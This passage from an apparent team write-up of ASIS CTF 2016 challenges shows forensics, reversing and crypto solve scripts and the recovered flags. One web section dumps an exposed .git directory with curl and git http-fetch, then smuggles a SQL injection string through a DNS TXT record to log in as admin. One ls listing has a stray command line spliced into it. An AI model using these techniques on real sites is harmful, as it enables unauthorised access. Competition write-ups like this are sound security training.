data = struct.unpack("<I", fp.read(4))[0]
elif datatype == '\x09': # time
data = fp.read(10)
# print data.encode('hex'), record['fname']
data = int((data[:4][::-1]+data[8:]).encode('hex'), 16)
elif datatype == '\x12': #raw
data = fp.read(8)
data = data[:-1]
print name, repr(data)
record[name] = data
print ''
while True:
if parse(fp):
break
valid_records = filter(lambda x:x['crc'] == hex(zlib.crc32(x['dat'].decode('base64'))&0xffffffff)[2:].zfill(8), records)
flag = ""
for el in sorted(filter(lambda x:x['fname']=='flag', valid_records), key=lambda x:x['mtime']):
flag += el['dat'].decode('base64')
open('flag', 'w').write(flag)
First, I inspected the PNG file. The PNG file includes fcTL
and fdAT
chunks. This means the file is APNG.
But it seems that the file includes some errors: invalid sequence number, invalid canvas size. So I fixed these errors by following script.
require 'zlib'
def read_chunk(f)
length = f.read(4).unpack("I>")[0]
ctype = f.read(4)
data = f.read(length)
crc = f.read(4)
return {ctype: ctype, data: data, crc: crc}
end
def write_chunk(f, chunk)
f.write([chunk[:data].length].pack("I>"))
f.write(chunk[:ctype])
f.write(chunk[:data])
f.write(chunk[:crc])
end
def fixcrc(chunk)
chunk[:crc] = [Zlib.crc32(chunk[:ctype] + chunk[:data])].pack("I>")
end
def guess_size(data)
size = Zlib.inflate(data).size
candidates = []
(170..190).each do |w|
(70..90).each do |h|
if size == (w*4+1)*h then
candidates.push([w, h])
end
end
end
candidates[0]
end
def set_size(chunk, size)
w, h = size
chunk[:data][4..7] = [w].pack("I>")
chunk[:data][8..11] = [h].pack("I>")
end
def fix_size(fcTL_chunk, fdAT_chunk)
set_size(fcTL_chunk, guess_size(fdAT_chunk[:data][4..-1]))
end
### read ###
sig = nil
chunks = []
open("p1ng/p1ng") do |f|
sig = f.read(8)
loop do
chunk = read_chunk(f)
chunks.push(chunk)
break if chunk[:ctype] == "IEND"
end
end
### modify ###
chunks[1][:data][0..3] = [34].pack("I>")
# fix sequence number
chunks[5][:data][0..3] = [2].pack("I>")
chunks[31][:data][0..3] = [28].pack("I>")
chunks[37][:data][0..3] = [34].pack("I>")
chunks[39][:data][0..3] = [36].pack("I>")
# fix frame canvas size and delay
chunks[2][:data][4..7] = [180].pack("I>") # w
chunks[2][:data][8..11] = [76].pack("I>") # h
22.times do |i|
pos = 4 + i*2
fix_size(chunks[pos], chunks[pos + 1])
chunks[pos][:data][12..15] = [0].pack("I>") # x_offset
chunks[pos][:data][16..19] = [0].pack("I>") # y_offset
chunks[pos][:data][20..21] = [2000].pack("S>") # delay_num
end
# fix crc
chunks.each do |chunk|
fixcrc(chunk)
end
### write ###
open("fixed.png", "w") do |f|
f.write(sig)
chunks.each do |chunk|
write_chunk(f, chunk)
end
end
ASIS{As_l0n9_4s_CTF_3x1sts_th3r3_w1ll_b3_ASIS_4nd_4s_l0n9_4s_ASIS_3x1sts_th3r3_w1ll_b3_PNG!}
The given files are extracted to 40 png images.
We found that timestamps are divided into 5 groups.
ls -lt --full-time
total 9760
-rwxr-xr-x 1 icchy icchy 246541 2016-09-09 01:41:14.000000000 +0900 041ed9c9f84d7a0b4496db8a4c826f10.png
-rwxr-xr-x 1 icchy icchy 2$ ruby merge.rb *.png
...
"_ASIS_is_C3rt4inly_c4pabl3_0f_hiding_d4tA_in_raw_PNG_chunks!"46542 2016-09-09 01:41:14.000000000 +0900 0a29ad2d1aace7ddfda6623ed14b3cfc.png
-rwxr-xr-x 1 icchy icchy 246541 2016-09-09 01:41:14.000000000 +0900 563de7a878f2205af9acef7c86556cf4.png
-rwxr-xr-x 1 icchy icchy 246539 2016-09-09 01:41:14.000000000 +0900 719e05cb25816db1393c64c472331de1.png
-rwxr-xr-x 1 icchy icchy 246537 2016-09-09 01:41:14.000000000 +0900 92c899bed7be8af5cb79663fd32fae11.png
-rwxr-xr-x 1 icchy icchy 246538 2016-09-09 01:41:14.000000000 +0900 a57c72b0f8b9bbecdcfd5432a4d2eb09.png
-rwxr-xr-x 1 icchy icchy 246540 2016-09-09 01:41:14.000000000 +0900 b27dc3ed73a3bdf9cac3d9d9932912e6.png
-rwxr-xr-x 1 icchy icchy 246543 2016-09-09 01:41:14.000000000 +0900 c1c12dd4337839c56af7a7eab713cffe.png
-rwxr-xr-x 1 icchy icchy 246537 2016-09-09 01:41:11.000000000 +0900 0dbca0ab91aa52a82c356cf35fd12668.png
-rwxr-xr-x 1 icchy icchy 246537 2016-09-09 01:41:11.000000000 +0900 1ddb2cc40e3c7bfb63373a16b764454b.png
-rwxr-xr-x 1 icchy icchy 246538 2016-09-09 01:41:11.000000000 +0900 2888e1b8abae9a1e952db101f0c86ca1.png
-rwxr-xr-x 1 icchy icchy 246539 2016-09-09 01:41:11.000000000 +0900 2f7261b0dbcfec78455fb50ed13dead6.png
-rwxr-xr-x 1 icchy icchy 246541 2016-09-09 01:41:11.000000000 +0900 7cf7909d1260d6f84eab3009fe06daad.png
-rwxr-xr-x 1 icchy icchy 246537 2016-09-09 01:41:11.000000000 +0900 a88b4bb3c225ed20440ba6bf633ab169.png
-rwxr-xr-x 1 icchy icchy 246536 2016-09-09 01:41:11.000000000 +0900 c7931c279ce7d5f8cbd38c6069464802.png
-rwxr-xr-x 1 icchy icchy 246541 2016-09-09 01:41:11.000000000 +0900 e071dd8812e5a4256f75d47ad2dfeb39.png
-rwxr-xr-x 1 icchy icchy 246539 2016-09-09 01:41:08.000000000 +0900 35f36d10e91fb913a5e7c9cf7c6bf05b.png
-rwxr-xr-x 1 icchy icchy 246540 2016-09-09 01:41:08.000000000 +0900 3dd036d19ddacac4cd521faaabd6e5f4.png
-rwxr-xr-x 1 icchy icchy 246544 2016-09-09 01:41:08.000000000 +0900 4738e11f93c0bbe6bb0508a3358dcc6a.png
-rwxr-xr-x 1 icchy icchy 246540 2016-09-09 01:41:08.000000000 +0900 4cc1be4ed28baf7563a7bb5cfe7afe07.png
-rwxr-xr-x 1 icchy icchy 246539 2016-09-09 01:41:08.000000000 +0900 815aadc10f8d41c013fe5673629b6642.png
-rwxr-xr-x 1 icchy icchy 246541 2016-09-09 01:41:08.000000000 +0900 96dcd0b28b851c67b88f137fc99d1138.png
-rwxr-xr-x 1 icchy icchy 246540 2016-09-09 01:41:08.000000000 +0900 97a3c832cf761ed406807e09d7c5758c.png
-rwxr-xr-x 1 icchy icchy 246544 2016-09-09 01:41:08.000000000 +0900 c149489a34faba509f344c8b3d352aba.png
-rwxr-xr-x 1 icchy icchy 246539 2016-09-09 01:41:05.000000000 +0900 043d09e121a1d2d77aaa098487ddf62d.png
-rwxr-xr-x 1 icchy icchy 246539 2016-09-09 01:41:05.000000000 +0900 153ba8b36ae16e23bc2e5f9eb2a6a8ac.png
-rwxr-xr-x 1 icchy icchy 246540 2016-09-09 01:41:05.000000000 +0900 31120e8287762360b478fae1caa0cf85.png
-rwxr-xr-x 1 icchy icchy 246538 2016-09-09 01:41:05.000000000 +0900 6e43f9630245c1137c2c6581c68315a0.png
-rwxr-xr-x 1 icchy icchy 246537 2016-09-09 01:41:05.000000000 +0900 6ef798f8efac382a1a571429635a25d1.png
-rwxr-xr-x 1 icchy icchy 246538 2016-09-09 01:41:05.000000000 +0900 b703cc3df27965de11879b1bf5a4ce69.png
-rwxr-xr-x 1 icchy icchy 246540 2016-09-09 01:41:05.000000000 +0900 bd84baf5910e59c323379e1b33e36ce2.png
-rwxr-xr-x 1 icchy icchy 246539 2016-09-09 01:41:05.000000000 +0900 d167ebbed97915d57e25e1358db26623.png
-rwxr-xr-x 1 icchy icchy 246543 2016-09-09 01:41:02.000000000 +0900 284f6b43f1da540bdeb4f349a086fe56.png
-rwxr-xr-x 1 icchy icchy 246449 2016-09-09 01:41:02.000000000 +0900 5598f8c115335d71b65075aaf8c16ba5.png
-rwxr-xr-x 1 icchy icchy 246449 2016-09-09 01:41:02.000000000 +0900 580385af1a9cceba19ab9153521affd0.png
-rwxr-xr-x 1 icchy icchy 246539 2016-09-09 01:41:02.000000000 +0900 673d2143b07f6d73e924cfdce21e7e61.png
-rwxr-xr-x 1 icchy icchy 246537 2016-09-09 01:41:02.000000000 +0900 8785304561ecf81141fbdef7a914fb81.png
-rwxr-xr-x 1 icchy icchy 246538 2016-09-09 01:41:02.000000000 +0900 99af438b2bbcbbcf6faa8a6954a311fb.png
-rwxr-xr-x 1 icchy icchy 246539 2016-09-09 01:41:02.000000000 +0900 be4e230f1f4f5243ab22fd8d6ab30754.png
-rwxr-xr-x 1 icchy icchy 246538 2016-09-09 01:41:02.000000000 +0900 e51b9182f54ed286a13bc3b422698edb.png
calculating all pairs of image which has same timestamp, we got some images.
This image showing part of flag “ASIS {ooo…ooo}” and some circles are filled, and we found the image contains 3 odd pixels at it’s tail, 0x6e, 0x74, 0x21 (“nt!”).
We thought that circles are replcaed with 3 chars, and wrote program. (coder: nomeaning)
search.rb
require 'rmagick'
include Magick
files = Dir.glob("*.png").map do |f|
f
end
images = files.map{|a|[ImageList.new(a), a]}
W = 3328
H = 74
# read all files
images.each.with_index do |(i1, f1), i|
images[0, i].each.with_index do |(i2, f2), j|
next if File::stat(f1).mtime != File::stat(f2).mtime
ret = Image.new(W, H)
cnt = 0
H.times do |y|
W.times do |x|
pixel = 0
[i1,i2].each do |f|
pixel = pixel ^ (f.pixel_color(x,y).red / 257)
end
pixel %= 256
ret.pixel_color(x,y,Pixel.new(pixel*257, pixel*257, pixel*257))
cnt += 1if pixel <= 10
end
end
p cnt
if cnt >= 100000
ret.write("dists2/#{i}-#{j}-image.png")
break
end
end
end
merge.rb
require 'rmagick'
include Magick
images = ARGV.map do |a|
ImageList.new(a)
end
H = images[0].rows
W = images[0].columns
hash = {}
ret = Image.new(W, H)
images.each.with_index(1) do |image, k|
r1 = image.pixel_color(W-3, H-1).red / 257
r2 = image.pixel_color(W-2, H-1).red / 257
r3 = image.pixel_color(W-1, H-1).red / 257
p [r1, r2, r3]
W.times do |x|
H.times do |y|
t = image.pixel_color(x,y)
if t.red == 0
next
end
if ret.pixel_color(x,y).red != 255 * 257
ret.pixel_color(x, y, Pixel.new(255*257,255*257,255*257))
else
ret.pixel_color(x,y,Pixel.new(r1, r2, k))
end
end
end
hash[k] = [r1, r2, r3]
end
ret.write('../test.png')
map = ""
W.times do |x|
t = ret.pixel_color(x,H/2)
if t.red / 257 == 255
map += "*"
else
map += (t.blue).chr
end
end
p map
ret = map.squeeze.gsub("*", "")
p ret
flag = ''
ret.each_char do |c|
flag << hash[c.ord][0].chr
hash[c.ord] = hash[c.ord][1..-1]
end
p hash
p flag
Then we run the program and got flag.
$ ruby merge.rb *.png ... "_ASIS_is_C3rt4inly_c4pabl3_0f_hiding_d4tA_in_raw_PNG_chunks!"
I guessed that the pcap file contains a png file because strings pcap
outputs IHDR
and IEND
.
By wireshark, I search the packet which contains IHDR
or IEND
.(frame contains "IHDR"
)
Packet 283 contains IHDR
and packet 313 contains IEND
.
We saved the communication to file between packet 283 and packet 313. We used export packet bytes to data. Then we concatenated the files and got the flag.
% cat p[1-7] | tail -c +33 > flag.png
First, I tried to solve this by angr but it didn’t work. So I created the decompiler of judge function.
asm = File.read('./asm.txt').lines # judge function's disassemble result by IDA
reg = {}
reg_names = 'r11d|r10d|r9d|r8d|r7d|r12d|r13d|r14d|r15d|eax|ebx|ecx|edx'
def to_v(s)
unless /^[0-9A-F]+h?$/ =~ s
fail s
end
s.to_i(16).to_s
end
asm.map(&:chomp).each do |line|
if line.start_with?('push')
STDERR.puts "Ignore: push"
elsif line.start_with?('sub rsp')
STDERR.puts "Ignore: sub rsp"
elsif /^movsx\s+(\w+), byte ptr \[rdi(\+[\dA-F]+h?)?\]/ =~ line
# p [$1, $2]
ofs = if $2
$2[1..-1].to_i(16)
else
0
end
reg[$1] = 's[%d]' % ofs
elsif /^mov (#{reg_names}), (#{reg_names})$/ =~ line.chomp
reg[$1] = reg[$2]
else
if line.start_with?('mov')
first, second = line[8..-1].split(', ')
reg[first] = reg[second]
elsif line.start_with?('add')
first, second = line[8..-1].split(', ')
next if first == 'r15d'
break if first == 'rsp'
reg[first] = reg[first] + '+(' + reg[second] + ')'
elsif line.start_with?('sub')
first, second = line[8..-1].split(', ')
reg[first] = reg[first] + '-(' + reg[second] +')'
elsif line.start_with?('xor')
first, second = line[8..-1].split(', ')
if first == 'r15d'
reg['r15'] = 0
reg.delete 'r15d'
else
STDERR.puts "XOR: #{line}"
end
elsif line == 'setz r15b'
reg['r15'] += 1
elsif line.start_with?('setz')
reg['r15'] += 1
elsif line.start_with?('lea')
first, second = line[8..-1].split(', ')
second = second[1..-2]
ret = ''
if second.count('-') == 1
p, v = second.split('-')
if reg[p].is_a? Integer
reg[first] = (reg[p] - to_v(v).to_i).to_s
else
fail second
end
elsif second.count('+') == 1
p, v = second.split('+')
if reg[p].is_a? Integer
reg[first] = (reg[p] + to_v(v).to_i).to_s
elsif second == 'rdx+r14*2'
reg[first] = reg['edx'] + '+' + reg['r14d'] + '+' + reg['r14d']
elsif second == 'r9+rsi*2'
reg[first] = reg['r9d'] + '+' + reg['esi'] + '+' + reg['esi']
elsif second == 'rdx+r13*2'
reg[first] = reg['edx'] + '+' + reg['r13d'] + '+' + reg['r13d']
elsif second == 'rdx+rdi*2'
reg[first] = reg['edx'] + '+' + reg['edi'] + '+' + reg['edi']
elsif second == 'rdx+rcx*2'
reg[first] = reg['edx'] + '+' + reg['ecx'] + '+' + reg['ecx']
elsif second == 'rdx+r10*2'
reg[first] = reg['edx'] + '+' + reg['r10d'] + '+' + reg['r10d']
elsif second == 'rax+r12*2'
reg[first] = reg['eax'] + '+' + reg['r12d'] + '+' + reg['r12d']
elsif second == 'rsi+rdx*2'
reg[first] = reg['esi'] + '+' + reg['edx'] + '+' + reg['edx']
else
fail second
end
else
fail second
end
elsif line.start_with?('neg')
first = line[8..-1]
reg[first] = '-(' + reg[first] +')'
elsif line.start_with?('cmp')
first, second = line[8..-1].split(', ')
if second.end_with?('h') && /[a-f0-9]+/ =~ second
second = second.to_i(16).to_s
else
second = reg[second]
end
if first == 'r15d'
break
end
puts reg[first] + '=' + second
else
STDERR.puts 'Unknown: %s' % line
break
end
end
end
$ ruby decompile.rb
s[7]-(s[9])+(s[4])-(s[46])+(s[29])-(s[14])-(s[2])+(s[46])-(s[19])+(s[0])-(s[40])+(s[8])-(s[14])+(s[30])-(s[1])+(s[31])-(s[30])+(s[6])+(s[49])+(s[3])-(s[35])-(s[23])-(s[39])-(s[26])+(s[19])+(s[29])-(s[30])-(s[14])-(s[17])+(s[43])+(s[6])+(s[40])=97
s[29]-(s[23])-(s[28])+(s[49])-(s[5])-(s[15])+(s[17])-(s[41])-(s[31])-(s[12])+(s[19])+(s[39])+(s[13])-(s[45])+(s[35])+(s[23])-(s[44])+(s[14])-(s[37])-(s[0])+(s[5])-(s[27])+(s[18])+(s[17])-(s[25])-(s[43])-(s[5])+(s[32])+(s[40])-(s[36])-(s[10])-(s[22])+(s[44])=-266
...
I used Z3 to solve equations made from decompiler.
from z3 import *
solver = Solver()
s = IntVector("x", 0x33)
solver.add(s[7]-(s[9])+(s[4])-(s[46])+(s[29])-(s[14])-(s[2])+(s[46])-(s[19])+(s[0])-(s[40])+(s[8])-(s[14])+(s[30])-(s[1])+(s[31])-(s[30])+(s[6])+(s[49])+(s[3])-(s[35])-(s[23])-(s[39])-(s[26])+(s[19])+(s[29])-(s[30])-(s[14])-(s[17])+(s[43])+(s[6])+(s[40])==97)
solver.add(s[29]-(s[23])-(s[28])+(s[49])-(s[5])-(s[15])+(s[17])-(s[41])-(s[31])-(s[12])+(s[19])+(s[39])+(s[13])-(s[45])+(s[35])+(s[23])-(s[44])+(s[14])-(s[37])-(s[0])+(s[5])-(s[27])+(s[18])+(s[17])-(s[25])-(s[43])-(s[5])+(s[32])+(s[40])-(s[36])-(s[10])-(s[22])+(s[44])==-266)
# ...
print solver.check()
m = solver.model()
ret = ''
for i in s:
ret += chr(m[i].as_long())
print ret
$ python solve.py
...
ASIS{_d0in9__RE__wi7h_L1n34r_AlG3br4_iz_fun_tOo0!}
This app has encoding part and checking part.
Firstly app encodes input mail address (calc hash many times).
Secondly it checks if “encode(mail address) == input”.
Analizing whole this app was so troublesome for me, so I used HW breakpoint.
Firstly breakpoint was hit here.
But maybe NULL check and calc length.
Secondly breakpoint was hit here.
Input is copied here.
Breakpoint wasn’t hit any more.
So I set the HW breakpoint in the address of copy of original input.
Input is compared with base64(hash(mail address)) here per 4byte.
Base64(hash(mail address)) is fixed value, so I copy and paste this value from memory.
➜ licensable ./licensable.exe admin@asis-ctf.ir OTA0ZDQyZWIxN2YzMjQxNDc2NzVkYjg3YWYzOWU0ZmU5MTlhNTQxN2I5NGExNzhhNzFlODU1ZjViMzhhZjA5ZA==
calculating : 99.916817 %
res = 1
We decompiled the program by hands and we change the program to call d with "D0800A94ABF879CE6785B177A09B94D913F18862B8A310D80E52306018FA3D8D63B93BFF1CAFDB7789F3"
.
<?php
// rol
function posix_xisop($arg1, $arg2) {
$x = ($arg1 + 0x100000000) & 0xffffffff;
return ((~(0xffffffff << $arg2) & ($x >> (32 - $arg2))) | ($x << $arg2)) & 0xffffffff;
}
function posix_nice($str, $a) {
if(!$a) {
$a = 0;
}
return (ord($str[$a]) & 255) |
((ord($str[$a + 1]) & 255) << 8) |
((ord($str[$a + 2]) & 255) << 16) |
((ord($str[$a + 3]) & 255) << 24);
}
function posix_telldir($a) {
return [($a & 255), ($a >> 8 & 255),
($a >> 16 & 255), ($a >> 24 & 255)];
}
function posix_ttyname2win($data) {
$ret = [];
for($i = 0; $i < 16; ++$i) {
$tmp = posix_telldir($data[$i]);
$ret[4 * $i] = $tmp[0];
$ret[4 * $i + 1] = $tmp[1];
$ret[4 * $i + 2] = $tmp[2];
$ret[4 * $i + 3] = $tmp[3];
}
return $ret;
}
function posix_sigblock($L0) {
$L1 = array();
$L2 = array();
for ($L3 = 0; $L3 < 16; ++$L3) {
$L1[$L3] = $L0[$L3];
}
for ($L3 = 20; $L3 > 0; $L3 -= 2) {
$L1[4] ^= posix_xisop($L1[0] + $L1[12], 1);
$L1[8] ^= posix_xisop($L1[4] + $L1[0], 2);
$L1[12] ^= posix_xisop($L1[8] + $L1[4], 3);
$L1[0] ^= posix_xisop($L1[12] + $L1[8], 3);
$L1[9] ^= posix_xisop($L1[5] + $L1[1], 1);
$L1[13] ^= posix_xisop($L1[9] + $L1[5], 2);
$L1[1] ^= posix_xisop($L1[13] + $L1[9], 3);
$L1[5] ^= posix_xisop($L1[1] + $L1[13], 2);
$L1[14] ^= posix_xisop($L1[10] + $L1[6], 1);
$L1[2] ^= posix_xisop($L1[14] + $L1[10], 3.0);
$L1[6] ^= posix_xisop($L1[2] + $L1[14], 3.0);
$L1[10] ^= posix_xisop($L1[6] + $L1[2], 7);
$L1[3] ^= posix_xisop($L1[15] + $L1[11], 6);
$L1[7] ^= posix_xisop($L1[3] + $L1[15], 4);
$L1[11] ^= posix_xisop($L1[7] + $L1[3], 2);
$L1[15] ^= posix_xisop($L1[11] + $L1[7], 1);
$L1[1] ^= posix_xisop($L1[0] + $L1[3], 7);
$L1[2] ^= posix_xisop($L1[1] + $L1[0], 4);
$L1[3] ^= posix_xisop($L1[2] + $L1[1], 6);
$L1[0] ^= posix_xisop($L1[3] + $L1[2], 10.0);
$L1[6] ^= posix_xisop($L1[5] + $L1[4], 18);
$L1[7] ^= posix_xisop($L1[6] + $L1[5], 13);
$L1[4] ^= posix_xisop($L1[7] + $L1[6], 11);
$L1[5] ^= posix_xisop($L1[4] + $L1[7], 3);
$L1[11] ^= posix_xisop($L1[10] + $L1[9], 0 /*pow(7, 7, 7)*/);
$L1[8] ^= posix_xisop($L1[11] + $L1[10], 6);
$L1[9] ^= posix_xisop($L1[8] + $L1[11], 12);
$L1[10] ^= posix_xisop($L1[9] + $L1[8], 0 /*pow(6, 4, 6)*/);
$L1[12] ^= posix_xisop($L1[15] + $L1[14], 5);
$L1[13] ^= posix_xisop($L1[12] + $L1[15], 2);
$L1[14] ^= posix_xisop($L1[13] + $L1[12], 1);
$L1[15] ^= posix_xisop($L1[14] + $L1[13], 11);
}
for ($L3 = 0; $L3 < 16; ++$L3) {
$L2[$L3] = ($L1[$L3] + $L0[$L3] + 0x100000000) & 0xffffffff;
}
return posix_ttyname2win($L2);
}
function posix_ulimit($L0, $L1) {
$L2 = array();
$L3 = 0;
$L2[1] = posix_nice($L0, 0);
$L2[2] = posix_nice($L0, 4);
$L2[3] = posix_nice($L0, 8);
$L2[4] = posix_nice($L0, 12);
if (strlen($L0) == 32) {
$L3 += 16;
$L4 = "welcome_to_korea";
} else if (strlen($L0) == 16) {
$L4 = "welcome_to_japan";
}
$L2[11] = posix_nice($L0, $L3);
$L2[12] = posix_nice($L0, $L3 + 4);
$L2[13] = posix_nice($L0, $L3 + 8);
$L2[14] = posix_nice($L0, $L3 + 12);
$L2[0] = posix_nice($L4, 0);
$L2[5] = posix_nice($L4, 4);
$L2[10] = posix_nice($L4, 8);
$L2[15] = posix_nice($L4, 12);
$L2[6] = posix_nice($L1, 0);
$L2[7] = posix_nice($L1, 4);
$L2[8] = 0;
$L2[9] = 0;
return $L2;
}
function remilia($a1, $a2, $a3) {
$l3 = "";
$l4 = 0;
$l5 = strlen($a1);
$l6 = 0;
$l7 = posix_ulimit($a2, $a3); // array
if(!$l5) return $l3;
while(true) {
$l8 = posix_sigblock($l7);
$l7[8] = ($l7[8] + 1) & 0xffffffff;
if(!$l7[8]) {
$l7[9] = ($l7[9] + 1) & 0xffffffff;
}
if($l5 <= 64) {
for($l4 = 0;$l4 < $l5; ++$l4) {
$l3 .= chr(ord($a1[$l6 + $l4]) ^ $l8[$l4]);
}
return $l3;
}
for($l4 = 0; $l < 64; ++$l4) {
$l3 .= chr(ord($a1[$l6 + $l4]) ^ $l8[$l4]);
}
$l5 -= 64;
$l6 += 64;
}
}
function flandre($a1, $a2, $a3) {
return remilia($a1, $a2, $a3);
}
function tadaima($data) {
$ret = ''; // l1
$i = 0; // l2
for($i = 0; $i < strlen(data); $i++) {
$tmp = ord($data[$i]); // L3
$ret .= substr("0" . dechex($tmp), -2);
}
return $ret;
}
function arigato($data) {
$ret = ""; // l1
$i = 0; // l2
while($i < strlen($data) - 1) {
$ret .= chr(hexdec($data[$i] . $data[$i + 1]));
$i += 2;
}
return $ret;
}
function d($data) {
// $data 0
$str = "*POOR*CRYPTOGRAPHY*STRIKES*BACK*"; // l1
$hv = strtolower(substr($data, 0, 8)); // l2
$data = substr($data, 8);
$decrypted = remilia(arigato($data), $str, $hv);
$checksum = hash("adler32", $decrypted);
var_dump($decrypted);
var_dump($checksum);
if($hv != $checksum) {
return false;
}else {
return $decrypted;
}
}
error_reporting(-1);
$l0 = "D0800A94ABF879CE6785B177A09B94D913F18862B8A310D80E52306018FA3D8D63B93BFF1CAFDB7789F3";
var_dump(d($l0));
/*
if(e($_REQUEST['flag']) == $l0) {
echo "OK";
exit(0);
}else {
echo "Wrong! Encrypted Flag: " . $l0;
exit(0);
}
*/%
We ran the program, then we got the flag.
$ php decompiled.php
string(38) "ASIS{f5e44e659b602097607bdfb37a492b27}"
string(8) "d0800a94"
string(38) "ASIS{f5e44e659b602097607bdfb37a492b27}"
There are .git
directory. So we got the data.
$ curl -A '' https://masterpage.asis-ctf.ir/.git/refs/heads/master
00b5f418cb49e2fd68e849d52b256e779391caff
$ mkdir tmp_git
$ cd tmp_git
$ git init
$ git http-fetch -a 00b5f418cb49e2fd68e849d52b256e779391caff https://masterpage.asis-ctf.ir/.git/
We checked the source code and found an vulnerability. The program doesn’t check $ip
when POST data is empty.
foreach($_POST as $_VAR){
if(preg_match("/{$filter}/i", $_VAR) || preg_match("/{$filter}/i", $ip))
{
exit("Blocked!");
}
}
Therefore we added a txt record which contains ' union select 'admin', null -- '
to dns. Then we got the flag.
$ curl https://masterpage.asis-ctf.ir/ -A ''
ASIS{6dcb302a3ad0501bcc3c2880b9aec3fc}<HR><HR><h1>Please login.</h1><form method=POST><input type=text placeholder=username name=user> <input type=password placeholder=password name=pass><input type=submit name=submit><HR>
Btw, why this problem has crypto genre?
I googled some keywords: md5 proof-of-work, md5 smallest, …
Finally, I found http://stackoverflow.com/questions/25341517/md5-hash-with-leading-zeros by searching “md5 leading-zero”.
http://www.crysys.hu/hashgame/allrecord.php
md5 min: 00000000000000d4a49581c7f0638557 Jiyong Youn(HLETRD_ 2016-02-19 15:25:19
Source data (base64 encoded):
MDhuaShnMHUzYWRhX0ppeW9uZ1lvdW4tSExFVFJE
Source data (may be binary):
08ni(g0u3ada_JiyongYoun-HLETRD
(Take care, you cannot see if the source data ends with \n or not)
Binary string:
110000 111000 1101110 1101001 101000 1100111 110000 1110101 110011 1100001 1100100 1100001 1011111 1001010 1101001 1111001 1101111 1101110 1100111 1011001 1101111 1110101 1101110 101101 1001000 1001100 1000101 1010100 1010010 1000100
ASIS{08ni(g0u3ada_JiyongYoun-HLETRD}
I checked HTTP header of the score server.
Flag: QVNJU3szMWE0ODM5MDBiODU3NjQyNmNjY2RmNTU0MDJiOWRkNn0K; base64
% base64 -d
QVNJU3szMWE0ODM5MDBiODU3NjQyNmNjY2RmNTU0MDJiOWRkNn0K
^D
ASIS{31a483900b8576426cccdf55402b9dd6}